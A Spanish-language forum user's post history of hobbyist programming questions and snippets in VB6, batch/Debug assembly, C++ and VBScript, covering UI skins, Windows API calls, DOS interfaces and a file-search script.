Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - EddyW

#1
Wenas,

Mi pregunta iba más orientada a C#, pero el caso es el mismo para VB.Net,
No comprendo la idea de poder permitir "Copiar en local" las referencias. Por ejemplo "system.dll" si necesariamente necesita el framework.

En resumen, es posible hacer un link de las dll's necesarias con la aplicación para que no dependa de todo el framework?
Tal como es el caso de Visual C++, que es posible distribuir el runtime y todo funciona de maravilla, hay algo posible o parecido para C# o vb.net?

Si no me expliqué bien, preguntad  :¬¬ (Ando durmiendo por el teclado)

SaluDOS!!!
#2
Hola,

No pude pensar en un mejor título que describa el topic, lamento eso :P
Quiero realizar una resta de 2 números de 16 Bytes, pero es un UDT..
Código (vb) [Seleccionar]
Private Type cD
    A As Long
    B As Long
    C As Long
    D As Long
End Type

Private Type tStrg
    tStrg As String * 8
End Type

Private Sub Form_Load()
    Dim One As cD, Two As cD, Res As cD
    Dim LS As tStrg
    LS.tStrg = "86420"
    LSet One = LS
    LS.tStrg = "6020"
    LSet Two = LS
    ' Aquí no se como restar ONE - TWO usando el UTD Res
    ' El resultado se mostraría así ..:
    With Res
            ' Operaciones que no se como .¿?
    End With
    LSet LS = Res
End Sub


Pensé en restar One.A con Two.A, y así sucesivamente, pero no funciona (De todas formas no tiene lógica para funcionar así),
No se si esto sirva, pero más o menos es lo que debería devolver:
Citar
  ONE       . TWO       . RES
A 3539000 . 3145782 . 3145784
B 3276852 . 3145778 . 3145780
C 2097200 . 2097184 . 2097200
D 2097184 . 2097184 . 2097184
  =86420  . =6020    . =80400
Más o menos creo que capta la idea ..
Alguna ayuda :P

SaluDOS!!!
#3
Wenas,

Llevo un tiempito ya programando en C++, aún me falta mejorar mucho.., bueno al grano :P

Quería desarrollar una aplicación que use una interfaz gráfica, sea por consola o usando alguna librería para manejo de gráficos (OpenGL, Allegro u otros), intenté con X11, pero casi me vuelvo loco, entonces opté por algo más sencillo:
http://cgui.sourceforge.net/
(EJEMPLO:)


He intentado los últimos 2 días compilar la librería, o simplemente poder ejecutar los ejemplos pero me salta este error:
CitarError   1   error LNK2001: símbolo externo __imp__InitCguiEx sin resolver   Example.obj   Example

Como dice en la página debe hacer referencia a las librerías de Allegro, y eso hice, pero hasta ahí bien, después no compila :'(
No se si podrían ayudarme o darme alguna referencia donde explique o de una pista de como hacerlo..

SaluDOS!!! se agradece.
#4
Wenas,

Estoy desarrollando una aplicación (pequeña) para diseño, pero algo que es molesto es que el texto insertado sale como 'pixelado' (no se si es la palabra correcta),
Aquí un cuadro descriptivo:
[Con ClearType]     [Sin ClearType]

¿Es posible usar ClearType?

SaluDOS!!!
#5
Wenas,

Tengo una duda, programando en FreeBasic me fije que no hay CreateObject como en VB6, es decir no se pueden cargar objetos mediante código, como podría hacerse desde la API? (En VB6 o en FreeBasic)

En VB.Net es posible enumerar los métodos de una Dll, he intentando hacerlo desde VB6 pero no hallo modo, alguna idea?

SaluDOS!!!
#6
Wenas,
Esta publicación la hice en otro foro el día antes de ayer, así que esto es Copy y Paste si hay que editar algo, háganlo o simplemente esperan a que yo lo haga :P
Me muero del sueño pero haber, quiero ver opiniones mañana :xD
SaluDOS!!! y buenas noches!




Wenas,

Voy a resumir la descripción de KBasic de una forma muy sencilla de entender..

KBasic es un proyecto OpenSource (Código Abierto) creado por Bernd Noetscher en KBasic Software, son muchos años de trabajo pero al final logró algo muy bueno..,
KBasic incorpora muchas de las características de los lenguajes actuales como ser Visual Basic 6.0, Visual Basic Net, Java y C++ pero sin llegar a ser un clon de ninguno de estos, KBasic tiene su propia estructura, pero sin dejar de ser compatible con QB, VB 6.0 y VB.Net..

Screenshot (Click en la imagen para Ampliar)
El código de los ScreenShot es simple, mostrar un MsgBox y cambiar la transparencia del formulario con un simple código de una sola linea.
Screen1: Ventana de Código y Editor de Formularios Screen2:Programa en ejecución



Sin duda la diferencia más notable entre KBasic y QB, VB 6.0 y VB.Net es la posibilidad de portar el código a múltiples plataformas como ser Windows, Linux y la novedad a Mac OS sin necesidad de tener que aprender otro lenguaje,

KBasic incorpora su propio Framework o mejor dicho su propio conjunto de API's (Interfaz de programación de aplicaciones) apoyando al software libre, esto hace que nuestras aplicaciones no sean dependientes de librerías con (C)opyright de Microsoft Windows y por ende ser portables a otras plataformas.

¿CUÁL ES LA DIFERENCIA ENTRE VB6 Y KBasic?

En general, ambas son muy iguales

#7
Wenas,

Primeramente espero no haber enredado el título :P

Estuve intentando buscar una alternativa a VB6, en si un compilador de VB6 OpenSource, leí sobre KBasic, y parece bueno, sobre todo la idea de portar aplicaciones de VB6 a KBasic sin ningún problema y por ende portarlo a otras plataformas como ser Linux y Mac OS..

Mis dudas son..
El Código Fuente de KBasic (Para Windows) tiene la licencia pública GNU, pero el binario (El IDE, Compilador) (para Windows) se vende :-\
No entiendo esta parte, puede tener doble licencia? si uso el compilador (Por supuesto el ya compilado de la versión Comercial) es ilegal?

Hahaha! olvide la dudaque tenía sobre VB6 ....
Mientras lo pienso posteo, luego edito el post para complementar porfa :-[

SaluDOS!!!
Continuara..
#8
Wenas,

Analizando mi error en..:
<<Error de Automatización en ActiveX Mozilla WebBrowser>>

Me dio curiosidad por que el DOM (Interfaz IHTMLDocument) del WebBrowser del IE no era compatible con el DOM de Mozilla, he hice un TypeName(var) para saber si en realidad eran el mismo tipo y sale que no,

Y no comprendo que es en si y como obtengo la interfaz IHTMLDocument2?
Alguien tiene alguna idea :'(

SaluDOS!!!
#9
Wenas,

En primera aclarar que el ActiveX de Mozilla es igual al WebBrowser de IE,
No entiendo por que da el error:
CitarLa biblioteca de objetos no está registrada

Al ejecutar esta linea:
Código (vb) [Seleccionar]
MsgBox WebBrowser1.Document.body.innerHTML

Usando el WebB de IE no da problemas, es lo que no entiendo, si alguien ha usado este control alguna vez o tiene alguna otra idea de por que puede ocurrir un error así..

SaluDOS!!!
#10
Wenas,

En si, ni idea donde debería de publicar este post, creí que esta más relacionado con desarrollo web, bueno.., muévanlo si así debe ser.


Bien, tengo una cuenta en PayPal, y no puedo vincular la tarjeta de Debito ni la tarjeta de Crédito ambas de diferentes bancos pero pertenecen a la red de Visa (Con "V"), al parecer la tarjeta no me sirve por la región/país, he preguntado en el banco a los de soporte y nada, bueno no es la cuestión..,

Una alternativa que he visto es que usan tarjetas virtuales (recién me entero que son) y más específicamente usan Neteller que es lo que quiero saber, ¿Que es?, es seguro?

Agradezco cualquier ayuda suya  ;D

SaluDOS!!!
#11
Wenas,

Bueno, basándome en este documento he llegado a implementar en parte este Plugin a Dolphin [A tinyMCE]
http://www.phoenixcode.net/post/2010/02/03/Adding-SyntaxHighlighter-plugin-to-tinyMCE.aspx

El problema es que no hallo donde colocar esto:
Código (javascript) [Seleccionar]
<link rel="stylesheet" href="~/SyntaxHighlighter/styles/SyntaxHighlighter.css" />

y los otros 2 códigos que menciona en la página,
No comprendo lo de los themes [¿Cual es el Masterpage?]
y el último no se donde ponerlo, tengo un archivo tinyMCE.js no .ascx [creo que es lo mismo pero en mi caso no es ASP es HTML]

Bueno, agradezco cualquier ayuda :P

SaluDOS!!!
#12
Wenas,

Esta vez me topé con algo tonto y no se por que pero no tengo más ideas..,

Tengo un Ctl dentro de un Form y no se me ocurre como poder obtener el Handle del Form donde este control está situado,
he intentado con GetParent pero no me devuelve el Handle del Form no se porque..

La idea es al ejecutar el evento "UserControl_Initialize" obtener el Handle del Form automáticamente y usarlo posteriormente para otros fines..

Agradezco cualquier ayuda :P

SaluDOS!!!
#13
Wenas,

Estuve practicando un poco en VB6, y se me ocurrió intentar aplicar un Theme (.msstyle) de XP a un Form,
Aclaro que es usando API's de "Uxtheme.dll"..

Haber vamos al grano,
Supuestamente debe ser así:
Código (vb) [Seleccionar]
Private Declare Function OpenThemeFile Lib "uxtheme.dll" Alias "#2" (ByVal pszFilename As Long, ByVal pszColor As Long, ByVal pszSize As Long, ByVal hTheme As Long, ByVal dwReserved As Long) As Long

Pasando los parámetros 'correctamente' sería así:
Código (vb) [Seleccionar]
lRet = OpenThemeFile(StrPtr("C:\WINDOWS\resources\Themes\Luna\Luna.msstyles"), StrPtr("Metallic"), StrPtr("NormalSize"), VarPtr(Handle), 0)

Pero no pasa nada :-\, pero si devuelve el Handle del Theme   :huh:
Para comprobar Intenté aplicar la clase de "WINDOW" a un "BUTTON" usando la API SetWindowTheme, pero no sale nada del supuesto theme aplicado,

Haber si alguien puede ayudarme :P, estoy totalmente desorientado.

SaluDOS!!!
#14
Wenas,

Tal vez no lo planteé bien al decir "buscar una matriz dentro de otra", lo aclaro así:
Tengo una matriz X e Y, que contiene solo números, graficando sería:
(Matriz Global)
Citar______ X ________
  | 1 2 3 4 5 6 7 8 9 0
  | 0 9 8 7 6 5 4 3 2 1
Y| 1 2 3 4 5 6 7 8 9 0
  | 0 9 8 7 6 5 4 3 2 1
  | 1 2 3 4 5 6 7 8 9 0

y tengo otra matriz más pequeña, y quiero buscar si existe en la matriz (Global):
Así, lo de color Azul:
Citar______ X ________
  | 1 2 3 4 5 6 7 8 9 0
  | 0 9 8 7 6 5 4 3 2 1
Y| 1 2 3 4 5 6 7 8 9 0
  | 0 9 8 7 6 5 4 3 2 1
  | 1 2 3 4 5 6 7 8 9 0

Como lo haría, aparte de usar For, que otra opción abría? ya que la matriz es muy grande

SaluDOS!!!
#15
Wenas,

Verán, me encuentro en un lió con todo esto de las licencias, quiero usar una licencia GNU/GPL:
http://creativecommons.org/licenses/GPL/2.0/deed.es

Pero no entiendo como debo usarla, para ser más especifico en un programa de código abierto, ¿que debo escribir?
Simplemente: "Este código está bajo la licencia GNU/GPL"? y nada más?

Agradezco cualquier ayuda  ;D

SaluDOS!!! y buenas noches.
#16
Wenas,

IA - Billy v2.1
Es un programa (Para DOS, funca en Win) que usa Inteligencia Artificial para poder dialogar con un ser humano (Persona), usa un generador de palabras que se basa en las respuestas o preguntas que le hagas al programa, así podemos decir que 'aprende', genera un log de todas las conversaciones de las cuales aprende, y responde de acuerdo a lo aprendido.

El programa es FreeWare, y de libre distribución:
Created by Greg Leedberg, 2000

Download MediaFire - Billy v2.1
>>Original post

No se decepcionen si se les dice que está en ingles, ya que con un poco de práctica podrías enseñarle español ;)

SaluDOS!!!
PD: No lo insulten, por que también aprende.. xD
#17

[DosWindow - Interface] - GUI para aplicaciones D.O.S
Written by EddyW (3D1)


Dejo un Screen:


Es un proyecto que inicié solo :P, hace algún tiempo cuando aprendí a programar en "QuickBasic" y "Visual Basic 1 (Versión para DOS)", es realmente sencillo, es un 80% se parecen al VB6 de ahora ;)

Bueno, el proyecto esta en fase beta, no esta terminado. Como se ve en el <Screen>, es una interfaz gráfica para ejecutar aplicaciones MS-DOS, o incluso archivos Batch (Archivos de comandos) usando una interfaz gráfica, el programa también actúa de interprete de Comandos interno del Cmd (Así como un Add-On para añadir comandos internos), esto quiere decir que podemos ejecutar comandos desde Batch y a la vez desde el mismo batch escribir comandos internos para DosWindow que permitan crear ventanas dentro del entorno.

Ventajas:
  • Las ventanas no son estáticas, se pueden mover.
  • Funciona como GUI bajo Windows (Ej: Ejecutarlo con la consola de recuperación).
  • Es un Add-On para Cmd, interactua con DosWindow.
  • Añadir Iconos al Desktop de DosWindow. (No disponible en v. Beta.).
  • Añadir elementos en el menú (No disponible en v. Beta).
  • Crear ventanas usando comandos internos de DosWindow en Cmd (En proceso...)
  • . . . (Aún no disponible.).

    [Download DosWindow- 101.11 Kb]
    >> Página Oficial

    Para una mejor visualización ejecutar antes:
    Código (dos) [Seleccionar]
    Mode con cols=80 lines=43
    o, en FullScreen (Screen Modo 9), ejecutarlo así:
    Código (dos) [Seleccionar]
    DosWindow.exe /F
    (Creo que no le cambie el nombre se quedo con Desktop.exe)
    Nota: No presionar Alt+Enter para hacer FullScreen, por que se ve feo, ejecutar el comando con el parámetro "/F"

    Si alguien quiere aportar con sus ideas es bienvenido :rolleyes:
    Como verán no tiene las funciones importantes como añadir ventanas, iconos, elementos en el menú, ya que están en desarrollo, quisiera saber que opinan, y si tienen alguna idea mas.

    SaluDOS!!!
#18
Wenas,

DosStart es una interfaz gráfica para DOS programada por Daniel L. Nice, el último release fue el 2002..
Es bastante bueno, y cuenta con una buena cantidad de herramientas ;)
(La imagen de arriba es un Gif animado)

Descarga:
Download (374.12 KB)
>>Post Original

Añado el editor de la GUI {Creador de Form's}, permite escribir código Basic ;)
http://www.icdc.com/~dnice/guibuild.html

SaluDOS!!!
#19
Holas,

Estoy creando una aplicación sencilla que convierte un script (inventado) a código Basic, que luego es interpretado por el compilador de QB y este lo convierte a código de máquina.

Bueno, el problema esta en que mi analizador léxico es bastante ineficiente, y lento :P, así que me puse a buscar en la INet, y no encontré nada, excepto esto:
http://dinosaur.compilertools.net/lex/index.html

He visto traducciones a Delphi/Pascal y C/C++, y a lo que vi en las diferentes webs que visité es muy bueno, el problema es que no programo en C/C++ (Recién estoy aprendiendo, se solo lo básico.) y mi proyecto comenzó en VB, así que no puedo cambiarlo.

Alguien conoce el Lex para VB (Si existe), u otro analizador léxico parecido?

SaluDOS!!!
#20
FullScreen

   Hace algún tiempo estoy sin aportes en Batch. Bueno, este código es en ASM, lo explico todo en los comentarios, pueden escribir el archivo en .COM, si así lo desean y no tener que usar Debug para ejecutarlo cada vez, si saben como solo pregunten.

   Esto me salio por equivocación :P, estaba buscando cambiar el modo de texto a modo gráfico, pero salia re-feo, pero lo bueno que saque de todo esto es el FullScreen.

(Código ASM para hacer FullScreen By 3D1)
(Esta con explicación y un ejemplo de como se ve.)
Código (dos) [Seleccionar]

@Echo Off
(
::::Asemble
Echo.A
::::Ax = 4
Echo.Mov AX,4
::::Establecer modo grafico (Para que haga FullScreen)
Echo.Int 10
::::Ax = 3
Echo.Mov Ax,3
::::Establecer modo de texto
Echo.Int 10
::::Final del Programa::::
Echo.Int 20
Echo.
Echo.G
Echo.
Echo.Q
)|Debug>nul 2>&1

Color 1E
Echo.Archivo por lotes para ejemplificacion
Echo.......................................
Echo.Codigo: {ASM}
Echo.Autor : 3D1
Echo. Dedicado al:
Echo. SCOT-Team [Batch Games] y a CPH
Ping LocalHost -n 5 >nul 2>&1
Tree %WinDir%


Weno, cualquier duda solo postear. ;)
SaluDOS!!!
#21
Bueno me quede con la duda, en Macromedia Flash, los objetos tienen una propiedad Rotate (Creo que se escribe asi), y permite rotar los objetos, botones, etc.

En VB6, esto es posible?
Mediante la API?

Una vez vi como se rotaba una imagen con ASM en vb6 (No se donde :P), no se si sea posible rotar pero un control..

Agradezco cualquier ayuda suya  ;D

SaluDOS!!!
#22
Esto lo he logrado con un SetTimer, pero...

Por ejemplo cuando un MsgBox esta activo, los demás procedimientos se quedan como "Pausa", por ejemplo un Timer, su evento deja de funcionar si un MsgBox esta abierto, aquí hice mi propio timer con SetTimer y KillTimer, que corre aun estando un MsgBox abierto, pues mi duda es:

Como puedo hacer mediante la API, para que un objeto funcione normalmente estando un MsgBox abierto, por ejemplo un Timer1..

Disculpen si no me deje entender tal vez, es que estoy apurado, a la noche aclaro si no me deje entender..

SaluDOS!!!
#23
Bien, pues llevo usando el mismo code (Mio) para añadir archivos de recursos (nuevos) a los ejecutable, y me funciona bien, pero es la primera vez que intento reemplazar uno y sale mal..

Este es el code:
Código (vb) [Seleccionar]
Private Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

Private Sub Form_Load()
Dim Beg As Long, Mes As String
Mes = "String Nuevo"
Beg = BeginUpdateResource("C:\EjecutablePrueba.exe", False)
Call UpdateResource(Beg, "String Table", 7, 3082, ByVal StrPtr(Mes), LenB(Mes) + 2)
Call EndUpdateResource(Beg, 0)
End Sub


Bueno todo bien pero como rayos hago para que se reemplaze..  :P
Viendo con un editor de recursos tengo 2 "String Table", el primero es el original, el segundo es el que yo puse pero sale asi:

STRINGTABLE
LANGUAGE LANG_SPANISH, 0x3
{
9232, "String Nuevo"
}

Lo que no entiendo es como reemplazar el recurso y que no salgan 2 y como colocar un ID que yo quiera, predeterminadamente 101..

Alguna info, o ayuda.. plis

SaluDOS!!! y agradezco cualquier ayuda.
#24
Este post lo hice en otro foro, mas abajo se menciona para que..
Ignoren lo de "entrar al Lab"  ;D


El proposito de este post es mas el de ayudar a que los users aprendan algunas funciones utiles sobre todo las usadas para entrar al Lab:

Que se usa:
  • Un timer (Nombre: Timer1)
  • Case
  • IIF
    • If
    • Funciones
    • Sub's
    • Variables

      Si no quedo claro,  :laugh: añaden un Timer, y copian el code y lo ejecutan y lo estudian  ;)
      No creo que haga falta la explicacion pero si hay dudas pregunten:
      Dim TiempoAtenuacion As Long

      Private Sub Form_Load()
      TiempoAtenuacion = 10
      Timer1.Interval = 10
      End Sub

      Private Sub Timer1_Timer()
      Select Case TiempoAtenuacion
          Case Is = 150
              Timer1.Interval = 0
              Timer1.Enabled = False
              Me.Show
          Case Else
              Call Atenuar
              Call SumarIntervalo
      End Select
      TiempoAtenuacion = Timer1.Interval
      End Sub

      Private Function Atenuar()
      Dim Estado As String
      Estado = IIf(Me.Visible, "Encendido", "Apagado")
      If Estado = "Encendido" Then
          Me.Hide
      ElseIf Estado = "Apagado" Then
          Me.Show
      End If
      End Function

      Private Sub SumarIntervalo()
          Timer1.Interval = Timer1.Interval + 5
      End Sub

      Espero le sirva a alguien ;)

      SaluDOS!!!
#25
Cambiar de color un TextBox al recibir o perder el enfoque - Api GetFocus

Esta vez no es una funcion, todo el papeleo lo cumple un Timer..
Es sencillo usamos la Api GetFocus para saber el Handle del objeto tiene el enfoque, luego recorremos todos los controles del form1 buscando a que objeto pertenece el Handle, al encontrarlo verificamos si es un TextBox con la función TypeName propia de VB6, sin mas que decir un Screen y el código:
(Aclaro que el ejemplo esta basado en la descripcion de la OCX de (Este Link))


Es posible cambiar el color, no es complicado hacerlo..
El codigo; declaramos la API y luego añadimos un Timer1 a nuestro Form1 y establecemos la propiedad Interval a 1:
Private Declare Function GetFocus Lib "user32" () As Long

Private Sub Timer1_Timer()
On Error Resume Next
Dim Obj As Object, BackBackup As Long
For Each Obj In Form1.Controls
    If (TypeName(Obj) = "TextBox" Or TypeName(Obj) = "ComboBox") _
    And GetFocus = Obj.hWnd Then
        If Err Then
            Err.Clear
        Else
        BackBackup = Obj.BackColor
        Do
        If Obj.hWnd = GetFocus Then
            Obj.BackColor = vbGreen
        Else
            Obj.BackColor = BackBackup
            Exit Sub
        End If: DoEvents
        Loop
        End If
    End If
    DoEvents
Next
End Sub

Espero les guste y les sea de utilidad.. ;)

SaluDOS!!!
#26
ApplyStyle

Son dos funciones sencillas pero útiles, (ApplyStyle y DestroyApplyStyle) las cree para un programa, usa el Objeto Shape que es creado en tiempo de ejecución para crear los bordes de los objetos, dejo un screen:

Aqui el code:
Código (ApplyStyle) [Seleccionar]
Private Function ApplyStyle(ByVal Obj As Object, Optional ByVal Tipo As BorderStyleConstants, _
        Optional ByVal Color As Long) As Long
On Error GoTo CreateObjectLine: Randomize
CreateObjectLine: ' Etiqueta, si ocurre un error al crear la linea, intenta de nuevo
With Me.Controls.Add("VB.Shape", "ShapeGrap" & CLng((CLng(Rnd * 999) * 999) + Err.Number))
    On Error GoTo 0: On Error Resume Next ' Desactivar deteccion de err., iniciar detector de err.
    Obj.BorderStyle = 0 ' Se cumple solo si el objeto admite esta Propiedad
    Obj.Appearance = 0 ' Se cumple solo si el objeto admite esta Propiedad
    .Top = Obj.Top - 10
    .Left = Obj.Left - 10
    .Width = Obj.Width + 23
    .Height = Obj.Height + 23
    If Tipo = 0 Then Tipo = vbBSSolid ' Si la variable Tipo [Opcional] no se a definido
    .BorderStyle = Tipo
    .BorderColor = Color
    .Visible = True: Err.Clear
    .Tag = "PropertyApplyStyle"
End With
End Function

Con esto aplicamos un estilo a un Objeto llamandolo asi: (Sintaxis)
Call ApplyStyle(Objeto, Tipo_De_Borde[Opcional], Color_RGB_o_ColorConstans[Opcional]
Ejemplo:
Añadimos un TextBox y añadimos este code al evento Form_Load..
Call ApplyStyle(Text1, vbBSSolid, RGB(200, 200, 200))
Esto aplica un borde de color Plomo a algo parecido al Text1..
otro ejemplo:
Call ApplyStyle(Text1, vbBSDashDotDot, VbGreen)
Otro:
Call ApplyStyle(Text1)
Esto es ApplyStyle, ahora para destruir el Style simplemente usamos otra funcion DestroyApplyStyle:

DestroyApplyStyle

Esta es aun mas sencilla, podemos ocultar los Shape's gracias a la propiedad Tag que permite guardar info acerca del objeto..
Código ( DestroyApplyStyle) [Seleccionar]
Private Function DestroyApplyStyle() As Long
On Error Resume Next: Dim Obj As Object
For Each Obj In Form1.Controls
    If Obj.Tag = "PropertyApplyStyle" Then
        Me.Controls.Remove Obj
    End If
    Obj.BorderStyle = 1
    Obj.Appearance = 1
    DoEvents
Next
End Function

Uso:
Call DestroyApplyStyle()
Espero les guste, y les sirva.. ;)

SaluDOS!!!
#27
Skin - Un Skin que se crea en tiempo de ejecucion usando Objetos Shape y Label

Otra de mis aplicaciones, estoy practicando VB6 con lo que aprendo cada dia asi con la practica no se me olvida.. ;D

Bien, consiste en algo simple, uso dos API's SendMessage y ReleaseCapture para hacer Drag del formulario.., la barra de titulo se crea usando Lines, cambiando el color usando la función RGB(ByteR, ByteG, ByteB), y el Titulo del Form y la sombra del titulo son dos Label que tambien se crean en tiempo de ejecucion, ha y el boton de cerrar formulario tambien es un Label ;)
Dejo un Screen, y luego dejo el Codigo:

Option Explicit

Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" ( _
        ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
        lParam As Any) As Long
 
Private Declare Sub ReleaseCapture Lib "User32" ()
 
Const WM_NCLBUTTONDOWN = &HA1
Const HTCAPTION = 2

Private WithEvents FormStyleCaption As Label
Private WithEvents ButtonUnloadForm As Label

Private Sub ButtonUnloadForm_Click()
End
End Sub

Private Sub Form_Initialize()
With Form1
    .ScaleMode = 1
    If .BorderStyle <> 0 Then
        Err.Raise 1, Me.Name, "Establece la propiedad de BorderStyle de tu Form a 0-None. ;)"
    End If
End With
End Sub

Private Sub Form_Load()
Dim I As Long
Set ButtonUnloadForm = Me.Controls.Add("VB.Label", "ButtonUnloadForm")
With ButtonUnloadForm
    .Top = 40
    .Left = Me.Width - (.Width / Screen.TwipsPerPixelX) - 220
    .Height = 220
    .Width = 260
    .Alignment = 2
    .BackStyle = 1
    .BorderStyle = 0
    .Appearance = 0
    .Font.Name = "Microsoft Sans Serif"
    .BackColor = RGB(250, 0, 0)
    .ForeColor = RGB(255, 255, 255)
    .Caption = "X"
    .Visible = True
End With
Set FormStyleCaption = Me.Controls.Add("VB.Label", "FormStyleCaption")
With FormStyleCaption
    .Top = 80
    .Left = 80
    .Height = 250
    .Width = Me.Width
    .BackStyle = 0
    .Font.Name = "Microsoft Sans Serif"
    .ForeColor = RGB(255, 255, 255)
    .Caption = Me.Caption
    .Visible = True
End With
With Me.Controls.Add("VB.Label", "FormStyleCaption2")
    .Top = 80
    .Left = 60
    .Height = 240
    .Width = Me.Width
    .BackStyle = 0
    .Font.Name = "Microsoft Sans Serif"
    .Caption = Me.Caption
    .Visible = True
End With
For I = 10 To 280 Step 15
    With Me.Controls.Add("VB.Line", "LineBorder_Title" & I)
        .Y1 = I: .Y2 = I
        .X1 = 10: .X2 = Me.Width - 20
        .BorderColor = RGB(I, I, I + 50)
        .Visible = True
    End With
    DoEvents
Next
With Me.Controls.Add("VB.Shape", "ShapeBorder")
    .Top = 0
    .Left = 0
    .Height = Me.Height
    .Width = Me.Width
    .BorderColor = RGB(50, 100, 200)
    .BorderWidth = 1
    .FillStyle = 0
    .FillColor = RGB(220, 220, 255)
    .Visible = True
End With
End Sub

Private Sub FormStyleCaption_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
   'Dim Ret As Long
    Call ReleaseCapture
    If Button = vbLeftButton Then
        Call SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&)
    End If
End Sub

El Skin solo se aplica al Form, el botón del screen es solo un invento mio ;D
No necesitamos agregar controles, para probar, Copy And Paste..
y lo mas importante que se me olvidaba, deben establecer la propiedad BorderStyle del Form a "1-None"

Espero les sirva, otra idea mas de como hacer nuestros Skin's ;D
SaluDOS!!!
#28
Bueno, despues de mucho posteo por aqui, recien estoy liberando mi tiempo, y pude hacer esto..
Es un conversor de numeros naturales o decimales a numeros Binarios:
Código (dos) [Seleccionar]
@Echo off
:Main
set /p nn=Escriba un Numero:/^>
set final=
:bin
set /a num=%nn%
set /a bnn=%num%/2
set /a mod=%bnn%+%bnn%
if ["%mod%"] EQU ["%num%"] (
   Set final=0%final%
) ELSE (
   set final=1%final%
)
if ["%bnn%"] NEQ ["0"] (
   Set /a nn=%bnn%
   Goto:bin
)
Echo %final%
goto:main

Ejemplo:
Código (dos) [Seleccionar]
Escriba un Numero:/>123456789
111010110111100110100010101


Espero les sirva, ya tienen una funcion mas para agregar a sus calculadoras..
SaluDOS!!!
#29
Scripting / Manual - Usar Mouse en Batch
9 Julio 2009, 09:26 AM
Bueno, eso, ahora jugando con Debug se me ocurrio por que no hacer tambien posible usar el Mouse
en Batch, ya que se podia usar keyBoard..
Pues decidi hacer un Comando MS-DOS en VB6, pero me salio re pesado aun comprimiendolo con UPX..
25Kb, algo grande al convertirlo en Binario para hacerlo Portable, asi que me cae este code..
De la escuela de Batch (Año 1995 - 2005)..

Primero digo que les sera un poco mas dificil entenderlo, ya que no es como el KeyBoard, ya que este no se ensambla..
Bueno sin mas que decir es sencillo, un ejemplo claro:
Código (dos) [Seleccionar]
@Echo off
(
echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo g116
echo q
)>tmps.dat
Debug<tmps.dat|Find /I "X"
Pause>nul

Al ejecutarlo, den le Click en cualquier parte de la ventana del Cmd..
y les saldra algo como esto:
Código (asm) [Seleccionar]
AX=0003  BX=0001  CX=0038  DX=0014  SP=FFEE  BP=0000  SI=0000  DI=0000
Explico BX=0001 tiene dos valores 0001 y 0002 osea si se hace Click derecho o Izquierdo..
El CX=... es la posicion X del cursor, y DX=... es la posicion Y del Cursor..
Eso nos basta para hacer un buen Batch, y podemos colocarlos en una variable con For..
Otro ejemplo para jugar mas con su funcionamiento:
Código (dos) [Seleccionar]
@Echo off
:g
(
echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo g116
echo q
)>tmps.dat
Debug<tmps.dat|Find /I "X"
Goto:g

Espero les Guste..


Un Ejemplo de Uso mas Avanzado:


Código (dos) [Seleccionar]
@Echo off
(
echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo g116
echo q
)>Zmouse.txt
Mode Con Cols=80 lines=25
SetLocal ENABLEDELAYEDEXPANSION
cls
Echo                                                                              [X]
Echo.
Echo.
Echo.
Echo                      Presina un Boton:
Echo.
Echo.
Echo                      +------+          +------+
Echo                      +  Ok  +          +Cancel+
Echo                      +------+          +------+
:g
Del /Q /A ZDats>nul 2>&1
Debug< Zmouse.txt |Find /i "x">ZDats
Call:x
call:y
Call:Back
Call:mous "0015 0016 0017 0018 0019 001A 001B 001C" "%CX%" "0007 0008 0009" "%DX%"
If %state% EQU OK (Msg * Usted Presiono el Boton OK!!!)
Call:mous "0027 0028 0029 002A 002B 002C 002D 002E" "%CX%" "0007 0008 0009" "%DX%"
If %state% EQU OK (Msg * Usted Presiono el Boton Cancelar!!!)
Call:mous "004E" "%CX%" "0000" "%DX%"
If %state% EQU OK (Exit)
Set /p= X:%CX% ::: Y:%DX%<nul
)
Goto:g

:X
Set /p LineCode=<ZDats
for /f "Tokens=3" %%_ in ('Type ZDats') do (
Set %%_
Goto:eof
)

:Y
Set /p LineCode=<ZDats
for /f "Tokens=4" %%_ in ('Type ZDats') do (
Set %%_
Goto:eof
)

:Back
for /f "tokens=*" %%a in ('ipconfig') do (
Set /p=%%a<nul
Goto :eof
)

:mous
Set DMous=%2
Set DMous=!DMous!%4
for %%m in (%~1) do (
for %%n in (%~3) do (
if !DMous! EQU "%%m""%%n" (
Set state=OK
Set CX=0000
Set DX=0000
Goto:eof
) ELSE (
Set state=NO
)
)
)
Goto:eof

Espero les Guste, en Vista la Parte de Set /p= X:%CX% ::: Y:%DX%<nul pueden borrarla ya que les molestara, eso solo funca en XP, pero lo demas funciona Bien..

SaluDOS!!!
#30
Bien, espero les guste el titulo lo dice todo..   ;D
Código (vb) [Seleccionar]
' :::::::::::::::::::::::::::::::::::::::::::::::::
'          FindFiles And Folders BY 3D1
' :::::::::::::::::::::::::::::::::::::::::::::::::
'             Hacking And Security
On Error Resume Next
If Instr(1, UCASE(WSCript.FullName), UCASE("CSCript.exe")) = 0 Then
MsgBox " Modo de Uso:" & Vbnewline & _
"   CSCript //Nologo " & WSCript.ScriptFullName & VbNewline
WSCript.Quit
End If
Set FSO = CreateObject("Scripting.FileSystemObject")
WSCript.Echo ""
WSCript.Echo ""
Directorio = DirB
Archivo = FileB
WSCript.Echo "  ----------------------------- "
WSCript.Echo "   Buscando Espere... "
WSCript.Echo "  ----------------------------- "
FindFiles (Directorio)
FindFolder (Directorio)
